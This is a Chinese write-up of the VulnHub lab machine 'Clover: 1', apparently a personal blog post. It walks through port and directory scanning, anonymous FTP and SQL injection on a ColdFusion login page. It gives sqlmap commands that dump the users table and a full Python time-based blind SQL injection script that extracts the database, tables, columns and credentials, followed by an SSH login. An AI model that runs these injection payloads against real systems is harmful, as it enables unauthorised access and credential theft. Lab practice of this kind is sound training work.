【靶机】vulnhub靶机clover:1

news2024/11/25 0:13:17

靶机下载地址：

Clover: 1 ~ VulnHub

靶机ip：192.168.174.145

Kali ip：192.168.174.128

靶机ip发现：sudo arp-scan -l

靶机开放端口扫描

分析：

发现开放了21端口ftp服务，且允许匿名登录

22端口ssh服务

80端口和一些其他的

先对ftp进行查看

查看maintenance目录下的内容

使用get将文件下载下来进行查看。

进行locale文件的解密，猜测是base64，没发现有什么用

进行80端口的扫描

gobuster dir -u http://192.168.174.145 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

查看一些其他的信息后在http://192.168.174.145/website/的源码中发现一些注释信息

进行搜索这个cms

https://paper.bobylive.com/Security/LARES-ColdFusion.pdf

在这里发现这个cms的一些信息

进行目录的查看

使用dirsearch.py进行目录扫描

发现登录界面

测试一下是否存在注入

成功注入登录，但没有得到其他的信息

http://192.168.174.145/CFIDE/Administrator/login.php

发现存在延时注入，因此使用脚本进行爆库，首先使用sqlmap进行尝试，因为是post传参，所以抓包的信息存到文本再使用sqlmap

sqlmap -r test.txt --current-db

可以看到当前的数据库名称

查看数据库的表：sqlmap -r test.txt -D 'clover' –tables

查看列信息sqlmap -r test.txt -D 'clover' -T 'users' –columns

查看username和password的信息

sqlmap -r test.txt -D 'clover' -T 'users' -C 'username,password' –dump

进行md5解密

https://www.somd5.com/

当然这里也可以使用我们自己的脚本来进行时间注入

自己写的脚本，也可以锻炼动手能力。

这是最终的结果图（最后的范围写小了，没显示全信息）

本人比较菜，脚本写的很拉，sqlmap固然好使，但尝试自己写一下也是不错的。之前用过手工的get传参的时间注入，今天做了post的时间注入，原理相同，request库的使用方式使用的json格式而已，学到了。get传参的时间注入可以在我的另一篇文章sqllibs靶场第十关有分享。

附上代码：

import requests
import string
import sys

headers = {"Content-Type": "application/x-www-form-urlencoded"}
all = string.printable
url = "http://192.168.174.145/CFIDE/Administrator/login.php/"


def extract_users():
    print("[+] Extracting clover dbname length")
    output = []
    for n in range(1, 10):
        payload = {"uname": "a' or if(length(database())>%d,0,sleep(3)) -- a" % n, "pswd": ""}
        r = requests.post(url, data=payload, headers=headers)
        if r.elapsed.total_seconds() > 3:
            length = n
            print(length)
            break
    print("[+] Extracting clover dbname")
    for i in range(1, length + 1):
        for char in all:
            payload = {
                "uname": "a' or if(ascii(substr(database()," + str(i) + ",1))=" + str(ord(char)) + ",sleep(3),1) -- a",
                "pswd": ""}
            # print(payload)
            r = requests.post(url, data=payload, headers=headers)
            # print(r.request.url)
            if r.elapsed.total_seconds() > 3:
                output.append(char)
                if char == ",":
                    print("")
                    continue
                print(char, end='', flush=True)


def table_name():
    output = []
    print("[+] Extracting clover db table_name")
    for z in range(0, 9):
        for i in range(1, 9):
            for char in '0123456789abcdefghijklmnopqrstuvwxyz,./-+*_':
                payload = {"uname": "a' or if(substr((select table_name from information_schema.tables "\
                                    "where table_schema=database() limit %d,1),%d,1)='%s',sleep(3),1) -- a" % (z, i, char),
                           "pswd": "a"}
                # print(url+payload)
                r = requests.post(url, data=payload, headers=headers)
                # print(r.request.url)
                if r.elapsed.total_seconds() > 3:
                    output.append(char)
                    if char == ",":
                        print("")
                        continue
                    print(char, end='', flush=True)


def column_name():
    output = []
    print("[+] Extracting clover db column_name")
    for z in range(0,15):
        for i in range(1,12):
            for char in '0123456789abcdefghijklmnopqrstuvwxyz\，,./-+*_':
                # http://127.0.0.1/sql1/Less-9/?id=1' and if(substr((select column_name from information_schema.columns
                # where table_name='users' limit 0,1),1,1)='s',1,sleep(5))--+
                payload = {"uname":"a' or if(substr((select column_name from information_schema.columns " \
                          "where table_name='users' limit %d,1),%d,1)='%s',sleep(2),1) -- a" % (z,i,char),
                           "pswd":"a"}
                # print(url+payload)
                r = requests.post(url, data=payload, headers=headers)
                # print(r.request.url)
                if r.elapsed.total_seconds() > 2:
                    output.append(char)
                    if char == ",":
                        print(",")
                        continue
                    print(char, end='', flush=True)


def list_data():
    output = []
    print("[+] Extracting clover db dump password and username")
    for i in range(1, 200):
        for char in '0123456789abcdefghijklmnopqrstuvwxyz#,@-+=)(*&*/.!+':
            payload = {"uname": "a' or if(substr((select group_concat(username,'-',password) from users " \
                      "),%d,1)='%s',sleep(3),1) -- a" % (i, char),
                   "pswd": "a"}
            # print(url+payload)
            r = requests.post(url, data=payload, headers=headers)
            # print(r.request.url)
            if r.elapsed.total_seconds() > 2:
                output.append(char)
                if char == ",":
                    print(",")
                    continue
                print(char, end='', flush=True)


try:
    # extract_users()
    # table_name()
    # column_name()
    list_data()
except KeyboardInterrupt:
    print("")
    print("[+] Exiting...")
    sys.exit()

接出来密码我们进行ssh登录

登录成功